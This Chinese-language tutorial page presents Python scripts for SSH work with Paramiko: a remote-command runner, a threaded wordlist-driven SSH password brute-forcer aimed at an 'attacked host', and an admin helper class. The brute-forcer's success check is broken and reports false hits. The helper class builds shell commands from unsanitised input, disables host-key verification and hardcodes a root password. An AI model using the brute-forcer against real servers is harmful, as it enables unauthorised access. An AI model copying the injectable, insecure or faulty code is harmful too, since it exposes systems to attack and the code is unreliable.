python

关注公众号 jb51net

关闭
首页 > 脚本专栏 > python > Python Paramiko实现SSH管理

Python使用Paramiko库实现SSH管理详解

作者:微软技术分享

paramiko 是一个用于在Python中实现SSHv2协议的库,它支持对远程服务器进行加密的通信,本文主要介绍了如何使用Paramiko库实现SSH管理,感兴趣的小伙伴可以学习一下

paramiko 是一个用于在Python中实现SSHv2协议的库,它支持对远程服务器进行加密的通信。目前该模块支持所有平台架构且自身遵循SSH2协议,支持以加密和认证的方式,进行远程服务器的连接,你可以在Python中实现SSH客户端和服务器,并进行安全的文件传输和远程命令执行。

主要特点:

实现简单SSH连接

import paramiko,threading
import argparse

class MyThread(threading.Thread):
    def __init__(self,address,username,password,port,command):
        super(MyThread, self).__init__()
        self.address = address
        self.username = username
        self.password = password
        self.port = port
        self.command = command
    def run(self):
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        try:
            ssh.connect(self.address, port=self.port, username=self.username, password=self.password, timeout=1)
            stdin, stdout, stderr = ssh.exec_command(self.command)
            result = stdout.read()
            if not result:
                self.result = stderr.read()
            ssh.close()
            self.result = result.decode()
        except Exception:
            self.result = "0"
    def get_result(self):
        try:
            return self.result
        except Exception:
            return "0"

if __name__ == "__main__":
    # 使用方式: main.py -a 192.168.1.1 -u root -p 123123 -c ifconfig
    parser = argparse.ArgumentParser()
    parser.add_argument("-a",dest="addr",help="指定一个IP地址")
    parser.add_argument("-u",dest="user",help="指定目标主机用户名")
    parser.add_argument("-p",dest="passwd",help="指定目标主机密码")
    parser.add_argument("-c",dest="command",help="指定需要执行的命令")
    args = parser.parse_args()
    if args.addr and args.user and args.passwd and args.command:
        obj = MyThread(str(args.addr),str(args.user),str(args.passwd),"22",str(args.command))
        obj.start()
        obj.join()
        ret = obj.get_result()
        if ret != "0":
            print(ret)
    else:
        parser.print_help()

实现SSH批量尝试

import pexpect
import os,sys,time
import threading
import argparse

def SSHConnect(Host,User,Password,Port,Command):
    try:
        child = pexpect.spawn('ssh -l %s %s -p %s %s' %(User,Host,Port,Command),timeout=1)
        ret = child.expect([pexpect.TIMEOUT, 'Are you sure you want to continue connecting','[Pp]assword:',r"([^-]>|#)"])
        if ret == 0:                   # 连接超时
            child.close()
            return 0
        elif ret == 1:                 # SSH提示你是否确认连接
            child.sendline ('yes')     # 我们输入yes
            child.expect ('password: ')# 输入yes后应该提示输入密码,我们再次期待 password
            ret = child.expect([pexpect.TIMEOUT, 'password: '])
            if ret == 0:               # 连接超时
                child.close()
                return 0
        ret = child.sendline(Password)
        if ret == 5:
            #child.expect(pexpect.EOF)
            #return child.before
            return 1
        child.close()
        return 0
    except Exception:
        child.close()
        return 0

def ThreadBlast(Host,User,Password,Port,semaphore):
    semaphore.acquire()        # 加锁
    global number,PassCount
    RetCode = SSHConnect(Host,User,Password,Port,"pwd")
    if RetCode == 1:
        print("[*] 索引: {}/{} --> 密码: {}".format(str(number),str(PassCount),Password))
    else:
        print("[-] 索引: {}/{} --> 尝试: {}".format(str(number),str(PassCount),Password))
        
    number = number + 1
    semaphore.release()       # 释放锁

if __name__ == "__main__":
    # 使用方式: main.py -H 192.168.1.10 -u root -p 22 -f burp.log
    parser = argparse.ArgumentParser()
    parser.add_argument("-H","--host",dest="host",help="输入一个被攻击主机IP地址")
    parser.add_argument("-u","--user",dest="user",help="输入主机的用户账号,root")
    parser.add_argument("-p","--port",dest="port",help="输入SSH的端口号,22")
    parser.add_argument("-f","--file",dest="file",help="设置密码字典 wordlist.log")
    args = parser.parse_args()
    if args.host and args.user and args.port and args.file:
        number = 0
        semaphore = threading.Semaphore(4)
        fp = open(args.file,"r")
        PassList = fp.readlines()
        PassCount = len(PassList)
        for item in PassList:
            t = threading.Thread(target=ThreadBlast,args=(args.host,args.user,str(item.replace("\n","")),args.port,semaphore))
            t.start()
    else:
        parser.print_help()

封装MySSH通用类

import paramiko, math

class MySSH:
    def __init__(self, address, username, password, default_port):
        self.address = address
        self.default_port = default_port
        self.username = username
        self.password = password

    # 初始化SSH接口
    def Init(self):
        try:
            self.ssh_obj = paramiko.SSHClient()
            self.ssh_obj.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            self.ssh_obj.connect(self.address, self.default_port, self.username, self.password, timeout=3,
                                 allow_agent=False, look_for_keys=False)
            self.sftp_obj = self.ssh_obj.open_sftp()
            return True
        except Exception:
            return False
        return False

    # 执行命令并返回执行结果
    def BatchCMD(self, command):
        try:
            stdin, stdout, stderr = self.ssh_obj.exec_command(command, timeout=3)
            result = stdout.read()
            if len(result) != 0:
                result = str(result).replace("\\n", "\n")
                result = result.replace("b'", "").replace("'", "")
                return result
            else:
                return None
        except Exception:
            return None

    # 执行非交互命令 只返回执行状态 ,或真或假
    def BatchCMD_NotRef(self, command):
        try:
            stdin, stdout, stderr = self.ssh_obj.exec_command(command, timeout=3)
            result = stdout.read()
            if len(result) != 0:
                return True
            else:
                return None
        except Exception:
            return False

    # 将远程文件下载到本地
    def GetRemoteFile(self, remote_path, local_path):
        try:
            self.sftp_obj.get(remote_path, local_path)
            return True
        except Exception:
            return False

    # 将本地文件上传到远程
    def PutLocalFile(self, localpath, remotepath):
        try:
            self.sftp_obj.put(localpath, remotepath)
            return True
        except Exception:
            return False

    # 获取文件大小
    def GetFileSize(self, file_path):
        ref = self.BatchCMD("du -s " + file_path + " | awk '{print $1}'")
        return ref.replace("\n", "")

    # 判断文件是否存在
    def IsFile(self, file_path):
        return self.BatchCMD("[ -e {} ] && echo 'True' || echo 'False'".format(file_path))

    # 获取系统型号
    def GetSystemVersion(self):
        return self.BatchCMD("uname")

    # 关闭SSH接口
    def CloseSSH(self):
        try:
            self.sftp_obj.close()
            self.ssh_obj.close()
        except Exception:
            pass

    # 测试主机连通率
    def GetPing(self):
        try:
            if self.GetSystemVersion() != None:
                print("{} 已连通.".format(self.address))
                return True
            else:
                return False
        except Exception:
            return False

    # 获取文件列表,并得到大小
    def GetFileList(self, path):
        try:
            ref_list = []
            self.sftp_obj.chdir(path)
            file_list = self.sftp_obj.listdir("./")
            for sub_path in file_list:
                dict = {}
                file_size = self.GetFileSize(path + sub_path)
                dict[path + sub_path] = file_size
                ref_list.append(dict)
            return ref_list
        except Exception:
            return False

    # 将远程文件全部打包后拉取到本地
    def GetTarPackageAll(self, path):
        try:
            file_list = self.sftp_obj.listdir(path)
            self.sftp_obj.chdir(path)
            for packageName in file_list:
                self.ssh_obj.exec_command("tar -czf /tmp/{0}.tar.gz {0}".format(packageName))
                self.sftp_obj.get("/tmp/{}.tar.gz".format(packageName), "./file/{}.tar.gz".format(packageName))
                self.sftp_obj.remove("/tmp/{}.tar.gz".format(packageName))
                return True
        except Exception:
            return True

    # 获取磁盘空间并返回字典
    def GetAllDiskSpace(self):
        ref_dict = {}
        cmd_dict = {"Linux\n": "df | grep -v 'Filesystem' | awk '{print $5 \":\" $6}'",
                    "AIX\n": "df | grep -v 'Filesystem' | awk '{print $4 \":\" $7}'"
                    }
        try:
            os_version = self.GetSystemVersion()
            for version, run_cmd in cmd_dict.items():
                if (version == os_version):
                    # 根据不同版本选择不同的命令
                    os_ref = self.BatchCMD(run_cmd)
                    ref_list = os_ref.split("\n")
                    # 循环将其转换为字典
                    for each in ref_list:
                        # 判断最后是否为空,过滤最后一项
                        if each != "":
                            ref_dict[str(each.split(":")[1])] = str(each.split(":")[0])
            return ref_dict
        except Exception:
            return False

    # 拉取内存数据到本地。
    def GetAllMemSpace(self):
        cmd_dict = {"Linux\n": "cat /proc/meminfo | head -n 2 | awk '{print $2}' | xargs | awk '{print $1 \":\" $2}'",
                    "AIX\n": "svmon -G | grep -v 'virtual' | head -n 1 | awk '{print $2 \":\" $4}'"
                    }
        try:
            os_version = self.GetSystemVersion()
            for version, run_cmd in cmd_dict.items():
                if (version == os_version):
                    os_ref = self.BatchCMD(run_cmd)
                    mem_total = math.ceil(int(os_ref.split(":")[0].replace("\n", "")) / 1024)
                    mem_free = math.ceil(int(os_ref.split(":")[1].replace("\n", "")) / 1024)
                    percentage = 100 - int(mem_free / int(mem_total / 100))
                    print("利用百分比: {}  \t 总内存: {}  \t 剩余内存: {}".format(percentage,mem_total,mem_free))
                    return str(percentage) + " %"
        except Exception:
            return False

    # 获取CPU利用率数据
    def GetCPUPercentage(self):
        ref_dict = {}
        cmd_dict = {"Linux\n": "vmstat | tail -n 1 | awk '{print $13 \":\" $14 \":\" $15}'",
                    "AIX\n": "vmstat | tail -n 1 | awk '{print $14 \":\" $15 \":\" $16}'"
                    }
        try:
            os_version = self.GetSystemVersion()
            for version, run_cmd in cmd_dict.items():
                if (version == os_version):
                    os_ref = self.BatchCMD(run_cmd)
                    ref_list = os_ref.split("\n")
                    for each in ref_list:
                        if each != "":
                            each = each.split(":")
                            ref_dict = {"us": each[0], "sys": each[1], "idea": each[2]}
            print("CPU利用率数据: {}".format(ref_dict))
            return ref_dict
        except Exception:
            return False

    # 获取到系统负载利用率 也就是一分钟负载五分钟负载十五分钟负载
    def GetLoadAVG(self):
        ref_dict = {}
        cmd_dict = {"Linux\n": "cat /proc/loadavg | awk '{print $1 \":\" $2 \":\" $3}'",
                    "AIX\n": "uptime | awk '{print $10 \":\" $11 \":\" $12}'"
                    }
        try:
            os_version = self.GetSystemVersion()
            for version, run_cmd in cmd_dict.items():
                if (version == os_version):
                    os_ref = self.BatchCMD(run_cmd)
                    ref_list = os_ref.split("\n")
                    for each in ref_list:
                        if each != "":
                            each = each.replace(",","").split(":")
                            ref_dict = {"1avg": each[0],"5avg": each[1],"15avg": each[2]}
                            print("负载利用率: {}".format(ref_dict))
                            return ref_dict
            return False
        except Exception:
            return False

    # 获取系统进程信息,并返回字典格式
    def GetAllProcessSpace(self):
        ref_dict = {}
        cmd_dict = {"Linux\n": "ps aux | grep -v 'USER' | awk '{print $2 \":\" $11}' | uniq",
                    "AIX\n": "ps aux | grep -v 'USER' | awk '{print $2 \":\" $12}' | uniq"
                    }
        try:
            os_version = self.GetSystemVersion()
            for version, run_cmd in cmd_dict.items():
                if (version == os_version):
                    os_ref = self.BatchCMD(run_cmd)
                    ref_list = os_ref.split("\n")
                    for each in ref_list:
                        if each != "":
                            ref_dict[str(each.split(":")[0])] = str(each.split(":")[1])
            return ref_dict
        except Exception:
            return False

    # 检测指定进程是否存活
    def CheckProcessStatus(self,processname):
        cmd_dict = {"Linux\n": "ps aux | grep '{0}' | grep -v 'grep' | awk {1} | wc -l".format(processname,"{'print $2'}"),
                    "AIX\n": "ps aux | grep '{0}' | grep -v 'grep' | awk {1} | wc -l".format(processname,"{'print $2'}")
                    }
        try:
            os_version = self.GetSystemVersion()
            for version, run_cmd in cmd_dict.items():
                if (version == os_version):
                    os_ref = self.BatchCMD(run_cmd)
                    ret_flag = str(os_ref.split("\n")[0].replace(" ","").strip())
                    if ret_flag != "0":
                        return True
            return False
        except Exception:
            return "None"

    # 判断指定进程名是否存在,如果存在返回进程 {PID:0,CPU:0,MEM:0}
    def CheckProcessName(self,ProcName):
        cmd_dict = {"Linux\n": "ps aux | grep '" + ProcName + "' | grep -v 'grep' | awk {'print $2 \":\" $3 \":\" $4'} | head -1",
                    "AIX\n": "ps aux | grep -v 'USER' | awk '{print $2 \":\" $12}' | uniq"
                    }
        try:
            os_version = self.GetSystemVersion()
            for version, run_cmd in cmd_dict.items():
                if (version == os_version):
                    os_ref = self.BatchCMD(run_cmd)
                    ref_list = os_ref.replace("\n","").split(":")
                    ref_dict = {"PID": ref_list[0], "CPU": ref_list[1], "Mem": ref_list[2]}
            return ref_dict
        except Exception:
            return False
        return False

    # 检测指定端口是否存活
    def CheckPortStatus(self,port):
        cmd_dict = {"Linux\n": "netstat -antp | grep {0} | awk {1}".format(port,"{'print $6'}")
            ,       "AIX\n": "netstat -ant | grep {0} | head -n 1 | awk {1}".format(port,"{'print $6'}")
                    }
        try:
            os_version = self.GetSystemVersion()
            for version, run_cmd in cmd_dict.items():
                if (version == os_version):
                    os_ref = self.BatchCMD(run_cmd)
                    ret_flag = str(os_ref.split("\n")[0].replace(" ","").strip())
                    if ret_flag == "LISTEN" or ret_flag == "ESTABLISHED":
                        return True
            return False
        except Exception:
            return False

    # 修改当前用户密码
    def SetPasswd(self,username,password):
        try:
            os_id = self.BatchCMD("id | awk {'print $1'}")
            print(os_id)
            if(os_id == "uid=0(root)\n"):
                self.BatchCMD("echo '{}' | passwd --stdin '{}' > /dev/null".format(password,username))
                return True
        except Exception:
            return False

if __name__ == "__main__":
    ssh = MySSH("132.35.69.71","root","123456789",22)
    if ssh.Init() == True:
        ref = ssh.GetAllDiskSpace()
        print(ref)

以上就是Python使用Paramiko库实现SSH管理详解的详细内容,更多关于Python Paramiko实现SSH管理的资料请关注脚本之家其它相关文章!

您可能感兴趣的文章:
阅读全文